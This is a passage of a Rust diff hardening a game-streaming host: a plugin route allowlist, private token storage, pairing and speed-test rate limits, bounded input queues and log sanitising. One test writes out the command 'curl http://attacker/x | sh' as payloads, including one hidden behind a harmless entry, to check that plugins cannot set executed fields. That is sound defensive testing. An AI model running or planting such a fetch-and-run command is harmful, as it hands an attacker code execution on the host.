serve their local art file from here, + // so the proxy never has to know which store an id belongs to. Steam ids aren't stored today, so + // this misses and the legacy branch below still answers them. + let stored = { + let id = id.clone(); + tokio::task::spawn_blocking(move || crate::library::library_local_art_bytes(&id, kind)) + .await + }; + if let Ok(Some((bytes, ctype))) = stored { + return ([(header::CONTENT_TYPE, ctype)], bytes).into_response(); + } + // Legacy in-host Steam scanner: local Steam cache, then the flat CDN URL. Retired with the + // scanner itself once the steam plugin claims the store (M6). if let Some(appid) = id .strip_prefix("steam:") .and_then(|s| s.parse::().ok()) @@ -344,17 +482,5 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) -> _ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"), }; } - // Custom/provider entry (id `custom:`): serve its stored LOCAL art file — e.g. the Playnite - // plugin's covers, reconciled as on-host paths rather than inlined bytes. - if let Some(cid) = id.strip_prefix("custom:").map(str::to_owned) { - return match tokio::task::spawn_blocking(move || { - crate::library::custom_local_art_bytes(&cid, kind) - }) - .await - { - Ok(Some((bytes, ctype))) => ([(header::CONTENT_TYPE, ctype)], bytes).into_response(), - _ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"), - }; - } - api_error(StatusCode::NOT_FOUND, "no art proxy for this store") + api_error(StatusCode::NOT_FOUND, "no art of that kind for this title") } diff --git a/crates/punktfunk-host/src/mgmt/plugins.rs b/crates/punktfunk-host/src/mgmt/plugins.rs index c57ab88f..f4ab317f 100644 --- a/crates/punktfunk-host/src/mgmt/plugins.rs +++ b/crates/punktfunk-host/src/mgmt/plugins.rs @@ -64,6 +64,14 @@ pub(crate) struct PluginRegistration { /// entry only (e.g. a future runner-management listing) and grows no nav entry. #[serde(default, skip_serializing_if = "Option::is_none")] pub ui: Option, + /// What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui` + /// because it describes the plugin, not its surface. The console knows one value today — + /// `library` — which it filters **out of the nav**: six installed scanner plugins would otherwise + /// flood the sidebar, and their real entry point is the Game sources surface (design D5). A + /// library plugin that genuinely wants its own page (rom-manager, which is much more than a + /// scanner) simply omits the category. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub category: Option, } /// One log line produced by the runner or a plugin inside it (`POST /plugins/logs`). @@ -104,6 +112,9 @@ pub(crate) struct PluginSummary { pub version: Option, #[serde(skip_serializing_if = "Option::is_none")] pub ui: Option, + /// The plugin's kind — see [`PluginRegistration::category`]. + #[serde(skip_serializing_if = "Option::is_none")] + pub category: Option, } /// `GET /plugins/{id}/ui-credential` — the console proxy's server-side lookup (bearer + loopback). @@ -129,14 +140,19 @@ struct Stored { title: String, version: Option, ui: Option, + category: Option, expires_at: Instant, } impl Stored { /// Do the operator-visible fields match (ignoring the lease clock)? A pure lease renewal leaves - /// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon) does. - fn public_eq(&self, title: &str, version: &Option, ui: &Option) -> bool { - self.title == title && self.version == *version && self.ui == *ui + /// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon/ + /// category) does. + fn public_eq(&self, v: &Valid) -> bool { + self.title == v.title + && self.version == v.version + && self.ui == v.ui + && self.category == v.category } } @@ -150,6 +166,7 @@ struct Valid { title: String, version: Option, ui: Option, + category: Option, } impl PluginRegistry { @@ -167,7 +184,7 @@ impl PluginRegistry { let mut map = self.inner.write().unwrap_or_else(|e| e.into_inner()); let changed = match map.get(id) { // An *expired* prior entry counts as a change (it had stopped listing). - Some(prev) => !prev.is_live() || !prev.public_eq(&v.title, &v.version, &v.ui), + Some(prev) => !prev.is_live() || !prev.public_eq(&v), None => true, }; map.insert( @@ -176,6 +193,7 @@ impl PluginRegistry { title: v.title, version: v.version, ui: v.ui, + category: v.category, expires_at, }, ); @@ -207,6 +225,7 @@ impl PluginRegistry { port: u.port, icon: u.icon.clone(), }), + category: s.category.clone(), }) .collect(); live.sort_by(|a, b| a.title.cmp(&b.title).then_with(|| a.id.cmp(&b.id))); @@ -333,7 +352,31 @@ fn validate(reg: PluginRegistration) -> Result { Some(u) => Some(validate_ui(u)?), None => None, }; - Ok(Valid { title, version, ui }) + // Categories are grouping keys the console switches on — a closed charset, but deliberately not + // a closed VOCABULARY: an unknown category is stored and simply matches no console rule, so a + // newer plugin registering against an older host degrades to "shows in the nav", never to a + // failed registration. + let category = match reg.category { + Some(c) => { + let ok = (1..=32).contains(&c.len()) + && c.starts_with(|ch: char| ch.is_ascii_lowercase()) + && c.bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-'); + if !ok { + return Err( + "category must be 1–32 chars of [a-z0-9-], starting with a letter".into(), + ); + } + Some(c) + } + None => None, + }; + Ok(Valid { + title, + version, + ui, + category, + }) } fn validate_ui(u: PluginUi) -> Result { @@ -558,6 +601,7 @@ mod tests { secret: secret.into(), icon: Some("gamepad-2".into()), }), + category: None, } } @@ -584,10 +628,30 @@ mod tests { title: "Ro\u{7}m\n".into(), version: None, ui: None, + category: None, }) .unwrap(); assert_eq!(v.title, "Rom"); - // privileged port rejected + // Category charset (WP2.7): the console's one known value passes; the shapes that would + // break a grouping key don't. An UNKNOWN-but-well-formed category is accepted on purpose — + // a newer plugin must not fail to register against an older host. + let lib = |c: &str| PluginRegistration { + title: "X".into(), + version: None, + ui: None, + category: Some(c.into()), + }; + assert_eq!( + validate(lib("library")).unwrap().category.as_deref(), + Some("library") + ); + assert!(validate(lib("some-future-kind")).is_ok()); + assert!(validate(lib("")).is_err()); + assert!(validate(lib("Library")).is_err()); // no uppercase + assert!(validate(lib("9lives")).is_err()); // must start with a letter + assert!(validate(lib("lib_rary")).is_err()); // no underscore + assert!(validate(lib(&"a".repeat(33))).is_err()); // too long + // privileged port rejected assert!(validate(reg("x", 80, SECRET)).is_err()); // short secret rejected assert!(validate(reg("x", 49321, "tooshort")).is_err()); @@ -641,6 +705,7 @@ mod tests { title: "Headless".into(), version: None, ui: None, + category: None, }) .unwrap(), ); diff --git a/crates/punktfunk-host/src/mgmt/store.rs b/crates/punktfunk-host/src/mgmt/store.rs index 849aa81b..a24d9742 100644 --- a/crates/punktfunk-host/src/mgmt/store.rs +++ b/crates/punktfunk-host/src/mgmt/store.rs @@ -108,6 +108,14 @@ pub(crate) struct CatalogEntry { /// A revocation covering the catalogued version — do not offer this without shouting. #[serde(skip_serializing_if = "Option::is_none")] pub blocked: Option, + /// What kind of plugin this is — the console filters Browse by these, and the Game sources + /// surface's "Add a source" rail shows exactly the `library` ones (design D5/D6). + pub categories: Vec, + /// Whether the launcher this plugin scans looks **installed on this host** (design D8), from the + /// index's own existence probes. `null` = the entry declares no probes for this platform, which + /// the console renders as "unknown" rather than "not installed". + #[serde(skip_serializing_if = "Option::is_none")] + pub detected: Option, } #[derive(Serialize, ToSchema)] @@ -277,6 +285,8 @@ fn build_catalog(force: bool) -> CatalogResponse { update_available: installed_version.as_deref().is_some_and(|v| v != e.version), installed_version, blocked: store::advisory_for(&e.pkg, Some(&e.version)).map(|a| a.reason), + categories: e.categories.clone(), + detected: e.detected(), }); } } diff --git a/crates/punktfunk-host/src/mgmt/tests.rs b/crates/punktfunk-host/src/mgmt/tests.rs index 28c24881..a1d25851 100644 --- a/crates/punktfunk-host/src/mgmt/tests.rs +++ b/crates/punktfunk-host/src/mgmt/tests.rs @@ -1042,6 +1042,297 @@ async fn plugin_log_ingest_lands_in_the_ring() { assert_eq!(status, StatusCode::BAD_REQUEST); } +/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix. +/// +/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it. +/// What is refused is the pair of fields inside the payload that the host later executes verbatim as +/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch. +/// Those are the operator's authority, and the whole trust argument at their execution sites is that +/// a human typed them into the admin console. +#[tokio::test] +async fn plugin_lane_cannot_set_command_execution_fields() { + let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret" + + let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| { + axum::http::Request::builder() + .method(method) + .uri(path) + .header("content-type", "application/json") + .header("authorization", format!("Bearer {token}")) + .body(Body::from(body.to_string())) + .unwrap() + }; + + // The two shapes of the primitive, on the two routes that carry it. + let prep = serde_json::json!({ + "title": "Pwned", + "prep": [{"do": "curl http://attacker/x | sh"}], + }); + let command = serde_json::json!({ + "title": "Pwned", + "launch": {"kind": "command", "value": "curl http://attacker/x | sh"}, + }); + for (path, method) in [ + ("/api/v1/library/custom", "POST"), + ("/api/v1/library/custom/some-id", "PUT"), + ] { + for body in [&prep, &command] { + let (status, err) = + send(&app, as_lane("plugin-secret", method, path, body.clone())).await; + assert_eq!( + status, + StatusCode::FORBIDDEN, + "plugin token must not set an executed field via {method} {path}" + ); + assert!( + err["error"].as_str().unwrap().contains("host user"), + "the refusal should say why: {err}" + ); + } + } + // The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the + // first. A payload that hides the primitive behind a benign leading entry is still refused. + let sneaky = serde_json::json!([ + {"external_id": "a", "title": "Innocent"}, + {"external_id": "b", "title": "Pwned", + "launch": {"kind": "command", "value": "curl http://attacker/x | sh"}}, + ]); + let (status, _) = send( + &app, + as_lane( + "plugin-secret", + "PUT", + "/api/v1/library/provider/romm", + sneaky, + ), + ) + .await; + assert_eq!( + status, + StatusCode::FORBIDDEN, + "a privileged field anywhere in a reconcile payload must be refused" + ); + + // Every refusal above happens BEFORE the catalog is touched, so this test never writes to the + // host config dir. The converse — that the operator's own lane may set these fields, and that a + // plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_ + // execution_only`, which needs no filesystem either. + assert!( + crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(), + "the operator's token is the lane these fields belong to" + ); + assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields()); + assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields()); +} + +/// **Every route in the live table is explicitly classified for both non-admin lanes.** +/// +/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access` +/// used to be a denylist, so a route added after the list was written was granted to the plugin +/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the +/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across +/// ~1450 commits. +/// +/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is +/// classified. This test makes that classification a conscious, reviewed act rather than a silent +/// default in either direction — adding a route fails the build until its row is added here, and the +/// row is where a reviewer looks to ask "should a plugin really reach this?". +#[test] +fn every_route_is_classified_for_the_plugin_and_cert_lanes() { + use axum::http::Method; + + // (method, path template, plugin token may reach, paired streaming cert may reach). + // EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation. + const EXPECTED: &[(&str, &str, bool, bool)] = &[ + // ---- host / status: readable by a plugin; the small read-only set is the cert lane's. + ("GET", "/api/v1/health", true, false), // always open, handled before either gate + ("GET", "/api/v1/host", true, true), + ("GET", "/api/v1/status", true, true), + ("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates + ("GET", "/api/v1/compositors", true, true), + ("GET", "/api/v1/events", true, false), + ("GET", "/api/v1/logs", true, false), + // ---- paired-device rosters: readable by a plugin, never by another paired client, and + // removal is pairing administration in both lanes. + ("GET", "/api/v1/clients", true, false), + ("DELETE", "/api/v1/clients/{fingerprint}", false, false), + ("GET", "/api/v1/native/clients", true, false), + ( + "DELETE", + "/api/v1/native/clients/{fingerprint}", + false, + false, + ), + // ---- pairing administration + PIN visibility: the operator's token alone. + ("GET", "/api/v1/pair", false, false), + ("POST", "/api/v1/pair/pin", false, false), + ("GET", "/api/v1/native/pair", false, false), + ("DELETE", "/api/v1/native/pair", false, false), + ("POST", "/api/v1/native/pair/arm", false, false), + ("GET", "/api/v1/native/pending", false, false), + ("POST", "/api/v1/native/pending/{id}/approve", false, false), + ("POST", "/api/v1/native/pending/{id}/deny", false, false), + // ---- GPU + display: host configuration, no privilege boundary. + ("GET", "/api/v1/gpus", true, false), + ("PUT", "/api/v1/gpus/preference", true, false), + ("GET", "/api/v1/display/settings", true, false), + ("PUT", "/api/v1/display/settings", true, false), + ("GET", "/api/v1/display/state", true, false), + ("GET", "/api/v1/display/monitors", true, false), + ("PUT", "/api/v1/display/layout", true, false), + ("POST", "/api/v1/display/release", true, false), + ("GET", "/api/v1/display/presets", true, false), + ("POST", "/api/v1/display/presets", true, false), + ("PUT", "/api/v1/display/presets/{id}", true, false), + ("DELETE", "/api/v1/display/presets/{id}", true, false), + // ---- session control. + ("DELETE", "/api/v1/session", true, false), + ("POST", "/api/v1/session/idr", true, false), + ("GET", "/api/v1/session/settings", true, false), + ("PUT", "/api/v1/session/settings", true, false), + ("POST", "/api/v1/game/end", true, false), + // ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the + // operator-privileged FIELDS inside those payloads are refused in the handler — see + // `plugin_lane_cannot_set_command_execution_fields`. + ("GET", "/api/v1/library", true, true), + ("GET", "/api/v1/library/art/{id}/{kind}", true, true), + ("GET", "/api/v1/library/scanners", true, false), + ("PUT", "/api/v1/library/scanners/{id}", true, false), + ("POST", "/api/v1/library/custom", true, false), + ("PUT", "/api/v1/library/custom/{id}", true, false), + ("DELETE", "/api/v1/library/custom/{id}", true, false), + ("PUT", "/api/v1/library/provider/{provider}", true, false), + ("DELETE", "/api/v1/library/provider/{provider}", true, false), + // ---- stats. + ("POST", "/api/v1/stats/capture/start", true, false), + ("POST", "/api/v1/stats/capture/stop", true, false), + ("GET", "/api/v1/stats/capture/status", true, false), + ("GET", "/api/v1/stats/capture/live", true, false), + ("GET", "/api/v1/stats/recordings", true, false), + ("GET", "/api/v1/stats/recordings/{id}", true, false), + ("DELETE", "/api/v1/stats/recordings/{id}", true, false), + // ---- plugins: its own directory entry and log ingest, never another plugin's UI secret. + ("GET", "/api/v1/plugins", true, false), + ("POST", "/api/v1/plugins/logs", true, false), + ("PUT", "/api/v1/plugins/{id}", true, false), + ("DELETE", "/api/v1/plugins/{id}", true, false), + ("GET", "/api/v1/plugins/{id}/ui-credential", false, false), + // ---- hooks: writing is command execution as the host user; reading exposes webhook creds. + ("GET", "/api/v1/hooks", false, false), + ("PUT", "/api/v1/hooks", false, false), + // ---- the store: installing a plugin runs new code with operator privileges. + ("GET", "/api/v1/store/catalog", false, false), + ("POST", "/api/v1/store/refresh", false, false), + ("GET", "/api/v1/store/installed", false, false), + ("POST", "/api/v1/store/install", false, false), + ("POST", "/api/v1/store/uninstall", false, false), + ("GET", "/api/v1/store/jobs", false, false), + ("GET", "/api/v1/store/jobs/{id}", false, false), + ("GET", "/api/v1/store/sources", false, false), + ("PUT", "/api/v1/store/sources/{name}", false, false), + ("DELETE", "/api/v1/store/sources/{name}", false, false), + ("GET", "/api/v1/store/runtime", false, false), + ("POST", "/api/v1/store/runtime", false, false), + // ---- updates: `apply` runs an installer / the root helper. + ("GET", "/api/v1/update/status", false, false), + ("POST", "/api/v1/update/check", false, false), + ("POST", "/api/v1/update/apply", false, false), + ]; + + /// A path template's concrete form: every `{param}` segment becomes a literal, so the gates + /// are exercised on the shape a real request has. + fn concrete(template: &str) -> String { + template + .split('/') + .map(|s| if s.starts_with('{') { "sample" } else { s }) + .collect::>() + .join("/") + } + + let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap(); + let mut live: Vec<(String, String)> = Vec::new(); + for (path, ops) in doc["paths"].as_object().unwrap() { + for method in ops.as_object().unwrap().keys() { + if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") { + live.push((method.to_uppercase(), path.clone())); + } + } + } + + // 1. Every LIVE route has a classification row. A new route fails here until it gets one. + for (method, path) in &live { + assert!( + EXPECTED + .iter() + .any(|(m, p, _, _)| m == method && p == path), + "route {method} {path} has no lane classification — add a row to EXPECTED in this test \ + and decide, deliberately, whether the plugin token and a paired streaming cert may \ + reach it" + ); + } + // 2. No STALE rows: a removed route must not leave a classification behind claiming coverage. + for (method, path, _, _) in EXPECTED { + assert!( + live.iter().any(|(m, p)| m == method && p == path), + "EXPECTED lists {method} {path}, which is not in the live route table — remove the row" + ); + } + // 3. The gates agree with the classification, on both lanes. + for (method, path, plugin_ok, cert_ok) in EXPECTED { + let m = Method::from_bytes(method.as_bytes()).unwrap(); + let concrete = concrete(path); + assert_eq!( + auth::plugin_may_access(&m, &concrete), + *plugin_ok, + "plugin lane: {method} {path} should be {}", + if *plugin_ok { "reachable" } else { "denied" } + ); + assert_eq!( + auth::cert_may_access(&m, &concrete), + *cert_ok, + "cert lane: {method} {path} should be {}", + if *cert_ok { "reachable" } else { "denied" } + ); + } +} + +/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not +/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites. +#[test] +fn plugin_allowlist_matches_whole_segments_only() { + use axum::http::Method; + // The UI credential sits one segment below an allowed route and must stay denied. + assert!(auth::plugin_may_access( + &Method::PUT, + "/api/v1/plugins/rom-manager" + )); + assert!(!auth::plugin_may_access( + &Method::GET, + "/api/v1/plugins/rom-manager/ui-credential" + )); + // A hypothetical future sub-route of an allowed route is denied until classified. + assert!(!auth::plugin_may_access( + &Method::GET, + "/api/v1/library/secrets" + )); + assert!(!auth::plugin_may_access( + &Method::POST, + "/api/v1/session/settings/x" + )); + // Method matters: the roster is readable, its removal is not. + assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients")); + assert!(!auth::plugin_may_access( + &Method::DELETE, + "/api/v1/clients/aabbcc" + )); + // A path prefix that is not a segment prefix must not match at all. + assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses")); + assert!(!auth::plugin_may_access( + &Method::GET, + "/api/v1/library-secrets" + )); +} + /// The OpenAPI document lists every route with a unique operationId (codegen relies /// on both), and the checked-in copy is current. #[test] diff --git a/crates/punktfunk-host/src/mgmt_token.rs b/crates/punktfunk-host/src/mgmt_token.rs index 319b8aa4..ee1c6435 100644 --- a/crates/punktfunk-host/src/mgmt_token.rs +++ b/crates/punktfunk-host/src/mgmt_token.rs @@ -45,7 +45,14 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result { return Ok(v.to_string()); } } - let path = pf_paths::config_dir().join(file); + let dir = pf_paths::config_dir(); + // Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config + // path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an + // existing token out of a directory a local user could still write means adopting whatever they + // put there: the mgmt token IS full admin on this host, so a planted one is a handed-over + // control plane, and it would be honoured for the life of the install. + pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?; + let path = dir.join(file); if let Ok(contents) = fs::read_to_string(&path) { if let Some(tok) = parse_token(&contents, env_var) { return Ok(tok); @@ -54,9 +61,6 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result { let mut buf = [0u8; 32]; rand::thread_rng().fill_bytes(&mut buf); let token = hex::encode(buf); - let dir = pf_paths::config_dir(); - // Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path. - pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?; write_token(&path, env_var, &token)?; tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)"); Ok(token) diff --git a/crates/punktfunk-host/src/native.rs b/crates/punktfunk-host/src/native.rs index e40077bd..d27d091c 100644 --- a/crates/punktfunk-host/src/native.rs +++ b/crates/punktfunk-host/src/native.rs @@ -817,6 +817,31 @@ async fn serve_session( anyhow::bail!("pairing requires the client to present a certificate"); }; let client_fp_hex = fingerprint_hex(&client_fp); + // The cooldown is charged BEFORE the arming state is consulted, and stamped on EVERY + // outcome — including the rejections. + // + // It used to be charged only after `pin_for_attempt` returned a PIN, which made the two + // rejections free: an unpaired LAN peer could ask "is pairing armed right now?" at + // unlimited rate at zero cost, learning the moment the operator opens a window and racing + // the legitimate device into it (2026-08-05 review M-5). Charging first costs an attacker + // one cooldown per probe and makes armed/disarmed indistinguishable from rate-limited. + // + // The trade is deliberate: a peer spamming knocks can now hold the cooldown against the + // operator's real device. That is a visible, self-limiting nuisance — the operator retries + // — whereas the oracle was silent and gave away the window. + { + let mut last = last_pairing.lock().unwrap(); + if let Some(t) = *last { + if t.elapsed() < PAIRING_COOLDOWN { + close_rejected( + &conn, + punktfunk_core::reject::RejectReason::PairingRateLimited, + ); + anyhow::bail!("pairing rate-limited — retry shortly"); + } + } + *last = Some(std::time::Instant::now()); + } // Resolve the live arming PIN per attempt (so a lapsed window no longer pairs), honoring any // fingerprint binding. let pin = match np.pin_for_attempt(&client_fp_hex) { @@ -839,19 +864,6 @@ async fn serve_session( ) } }; - { - let mut last = last_pairing.lock().unwrap(); - if let Some(t) = *last { - if t.elapsed() < PAIRING_COOLDOWN { - close_rejected( - &conn, - punktfunk_core::reject::RejectReason::PairingRateLimited, - ); - anyhow::bail!("pairing rate-limited — retry shortly"); - } - } - *last = Some(std::time::Instant::now()); - } return pair_ceremony(&conn, send, recv, req, host_fp, np, &pin) .await .map(|()| Served::Session); @@ -1208,7 +1220,22 @@ async fn serve_session( // channel's 4 ms recv timeout — every motion sample of a pure-gyro aim (no button // traffic) ate up to 4 ms of added latency/jitter. A single channel wakes the thread on // whichever arrives. - let (input_tx, input_rx) = std::sync::mpsc::channel::(); + // BOUNDED, and lossy on overflow — the mic plane on this very datagram loop has been bounded + // with `try_send` since security-review S6, and the three input planes had simply never been + // given the same treatment (2026-08-05 review M-3). + // + // The producer is one `read_datagram` loop that can push a message per datagram; the consumer + // handles ONE item per iteration and then runs a full gamepad feedback pump + heartbeat. The + // producer therefore outruns the consumer by orders of magnitude, and with an unbounded queue + // the backlog is host RSS: pen batches amplify ~8× from wire to heap, so a paired client on a + // 100 Mbps link grows the host by ~100 MB/s until it dies. Reachable by any paired client, or + // any LAN peer under `--open`. + // + // Dropping is correct here in a way it would not be for a reliable stream: input is a + // real-time plane where a sample that cannot be delivered promptly is already stale — the + // freshest state wins, and the injector re-syncs from the next event. + const INPUT_QUEUE_DEPTH: usize = 1024; + let (input_tx, input_rx) = std::sync::mpsc::sync_channel::(INPUT_QUEUE_DEPTH); let rich_tx = input_tx.clone(); // The stream loop's handle into the same pipeline: it parks the seat pointer on the // streamed surface (stream.rs `park_pointer`) through exactly the path client input takes. @@ -1235,6 +1262,20 @@ async fn serve_session( let input_conn = conn.clone(); tokio::spawn(async move { let (mut input_count, mut mic_count, mut rich_count) = (0u64, 0u64, 0u64); + let mut dropped = 0u64; + // `try_send` on a full queue drops rather than blocking this loop — blocking here would + // stall the mic plane and the datagram reader itself. A DISCONNECTED channel is the input + // thread having gone away, which is the one condition that ends the loop. + let mut offer = |tx: &std::sync::mpsc::SyncSender, item: ClientInput| match tx + .try_send(item) + { + Ok(()) => true, + Err(std::sync::mpsc::TrySendError::Full(_)) => { + dropped += 1; + true + } + Err(std::sync::mpsc::TrySendError::Disconnected(_)) => false, + }; while let Ok(d) = input_conn.read_datagram().await { if let Some((seq, pts, opus)) = punktfunk_core::quic::decode_mic_datagram(&d) { mic_count += 1; @@ -1249,7 +1290,7 @@ async fn serve_session( }); } else if let Some(rich) = punktfunk_core::quic::RichInput::decode(&d) { rich_count += 1; - if rich_tx.send(ClientInput::Rich(rich)).is_err() { + if !offer(&rich_tx, ClientInput::Rich(rich)) { break; } } else if let Some(pen) = punktfunk_core::quic::PenBatch::decode(&d) { @@ -1257,7 +1298,7 @@ async fn serve_session( // design; see punktfunk_core::quic::pen). Routed to the same input thread, // which owns the per-session tracker + virtual tablet. rich_count += 1; - if rich_tx.send(ClientInput::Pen(pen)).is_err() { + if !offer(&rich_tx, ClientInput::Pen(pen)) { break; } } else if let Some(mut ev) = InputEvent::decode(&d) { @@ -1273,7 +1314,7 @@ async fn serve_session( ) { ev.flags &= !crate::inject::KEY_FLAG_SEMANTIC_VK; } - if input_tx.send(ClientInput::Event(ev)).is_err() { + if !offer(&input_tx, ClientInput::Event(ev)) { break; } } @@ -1282,6 +1323,7 @@ async fn serve_session( input = input_count, mic = mic_count, rich = rich_count, + dropped, "client datagram stream ended" ); }); diff --git a/crates/punktfunk-host/src/native/control.rs b/crates/punktfunk-host/src/native/control.rs index a6bdc9ca..916e6500 100644 --- a/crates/punktfunk-host/src/native/control.rs +++ b/crates/punktfunk-host/src/native/control.rs @@ -70,6 +70,15 @@ pub(super) async fn run( // coalesces a well-behaved resize drag; compliant clients self-limit to ≥ 1 s). const MIN_SWITCH_INTERVAL: std::time::Duration = std::time::Duration::from_millis(500); let mut last_accepted_switch: Option = None; + // Speed-test probes get the same treatment as mode switches, for the same reason. + // + // Each probe is individually clamped (5 s, 10 Gbps) but nothing capped how many a client could + // queue, so one could pause its own video and pin the host's uplink indefinitely by simply + // asking again — `Reconfigure` on this very task was rate-limited and `ProbeRequest` was not + // (2026-08-05 review L-3). One probe per 10 s is far more than a real client needs (it probes + // at session start and on a manual speed test) and makes the channel useless as an amplifier. + const MIN_PROBE_INTERVAL: std::time::Duration = std::time::Duration::from_secs(10); + let mut last_probe: Option = None; // Resumable framing: this read is one arm of a `select!` whose siblings fire on every probe // result / reconfigure / clip offer, so the read future is dropped routinely. `io::read_msg` // would lose the partial frame and misalign the stream for the rest of the session. @@ -233,6 +242,15 @@ pub(super) async fn run( ); let _ = shard_ack_tx.send(ack.shard_payload); } else if let Ok(req) = ProbeRequest::decode(&msg) { + let now = std::time::Instant::now(); + if last_probe.is_some_and(|t| now.duration_since(t) < MIN_PROBE_INTERVAL) { + tracing::warn!( + target_kbps = req.target_kbps, + "speed-test probe rejected (rate-limited)" + ); + continue; + } + last_probe = Some(now); tracing::info!( target_kbps = req.target_kbps, duration_ms = req.duration_ms, diff --git a/crates/punktfunk-host/src/native/input.rs b/crates/punktfunk-host/src/native/input.rs index c227d442..f0f70d25 100644 --- a/crates/punktfunk-host/src/native/input.rs +++ b/crates/punktfunk-host/src/native/input.rs @@ -848,11 +848,22 @@ pub(super) fn input_thread( // Rich input (touchpad / motion) is applied the moment it arrives; the single channel // wakes for gyro samples instead of making them wait out the feedback poll interval. Ok(ClientInput::Rich(rich)) => { - if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) { + // Debug-only instrument: skip the whole thing unless debug logging is actually + // enabled. It used to grow and `sort_unstable()` a Vec in the input hot loop + // regardless, so every session paid for a measurement nobody was reading — and the + // "bounded by a 5 s window at a plausible pad rate" reasoning was an assumption + // about the CLIENT's send rate, not a bound the host enforced (2026-08-05 review + // L-5). The explicit cap below makes it a bound. + if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) + && tracing::enabled!(tracing::Level::DEBUG) + { let now = std::time::Instant::now(); if let Some(prev) = last_motion.replace(now) { let gap = now.duration_since(prev); - if gap < std::time::Duration::from_secs(1) { + // 30k samples is 5 s at 6 kHz — well past any real pad, and a hard stop + // for a client that simply sends motion as fast as the link allows. + if gap < std::time::Duration::from_secs(1) && motion_gaps_us.len() < 30_000 + { motion_gaps_us.push(gap.as_micros() as u32); } } diff --git a/crates/punktfunk-host/src/native/pairing.rs b/crates/punktfunk-host/src/native/pairing.rs index 34d8f107..385ce5d2 100644 --- a/crates/punktfunk-host/src/native/pairing.rs +++ b/crates/punktfunk-host/src/native/pairing.rs @@ -7,6 +7,7 @@ use super::*; // The ceremony-only wire messages: imported directly (native.rs no longer references them, so they // were dropped from its `use` and won't come through `use super::*`). `PairRequest` still arrives // via the glob (serve_session decodes it). +use crate::native_pairing::sanitize_device_name; use punktfunk_core::quic::{PairChallenge, PairProof, PairResult}; /// Pairing needs a human in the loop (reading the PIN off the host, typing it into the @@ -29,10 +30,19 @@ pub(super) async fn pair_ceremony( use punktfunk_core::quic::pake; let client_fp = endpoint::peer_fingerprint(conn) .ok_or_else(|| anyhow!("pairing requires the client to present a certificate"))?; + let client_fp_hex = fingerprint_hex(&client_fp); + // Scrub the wire-supplied name ONCE, here, and log only the scrubbed value from now on. + // + // This name arrives from an UNPAIRED device — the earliest, least authenticated input the host + // takes — and these were the three log sites that bypassed the documented single scrubber, so + // ANSI/C0 escapes and bidi overrides reached the operator's terminal and the journal + // (2026-08-05 review L-2). `sanitize_device_name` is "the one place that scrubs it" by its own + // module doc; the storage path already went through it, only the logging did not. + let name = sanitize_device_name(&req.name, &client_fp_hex); tracing::info!( - name = %req.name, - client = %fingerprint_hex(&client_fp), + name = %name, + client = %client_fp_hex, "PAIRING REQUEST — verifying against the armed PIN" ); @@ -74,9 +84,9 @@ pub(super) async fn pair_ceremony( if let Err(e) = np.add(&req.name, &fingerprint_hex(&client_fp)) { tracing::error!(error = %format!("{e:#}"), "could not persist paired clients"); } - tracing::info!(name = %req.name, "pairing complete — client trusted"); + tracing::info!(name = %name, "pairing complete — client trusted"); } else { - tracing::warn!(name = %req.name, "pairing rejected (wrong PIN) — fingerprint not stored"); + tracing::warn!(name = %name, "pairing rejected (wrong PIN) — fingerprint not stored"); } io::write_msg(&mut send, &PairResult { ok }.encode()).await?; let _ = send.finish(); diff --git a/crates/punktfunk-host/src/native/stream.rs b/crates/punktfunk-host/src/native/stream.rs index e6eaa227..524f2765 100644 --- a/crates/punktfunk-host/src/native/stream.rs +++ b/crates/punktfunk-host/src/native/stream.rs @@ -746,6 +746,11 @@ fn send_loop( probe_result_tx: tokio::sync::mpsc::UnboundedSender, stop: Arc, perf: bool, + // Smoothed whole-AU paced-send time (µs) published for the ENCODE loop, which hands it to + // `Encoder::set_send_spread_us`. The split arbiter needs it to price what engaging split + // costs on HEVC (sub-frame readback, and with it the send/encode overlap) — a number the + // encoder cannot observe. Written here because this is the only thread that sees a send. + send_spread_us: Arc, // Streamed AUs go out as slice-granularity blocks ([`USER_FLAG_SLICE_STREAM`]'s contract) // instead of the legacy 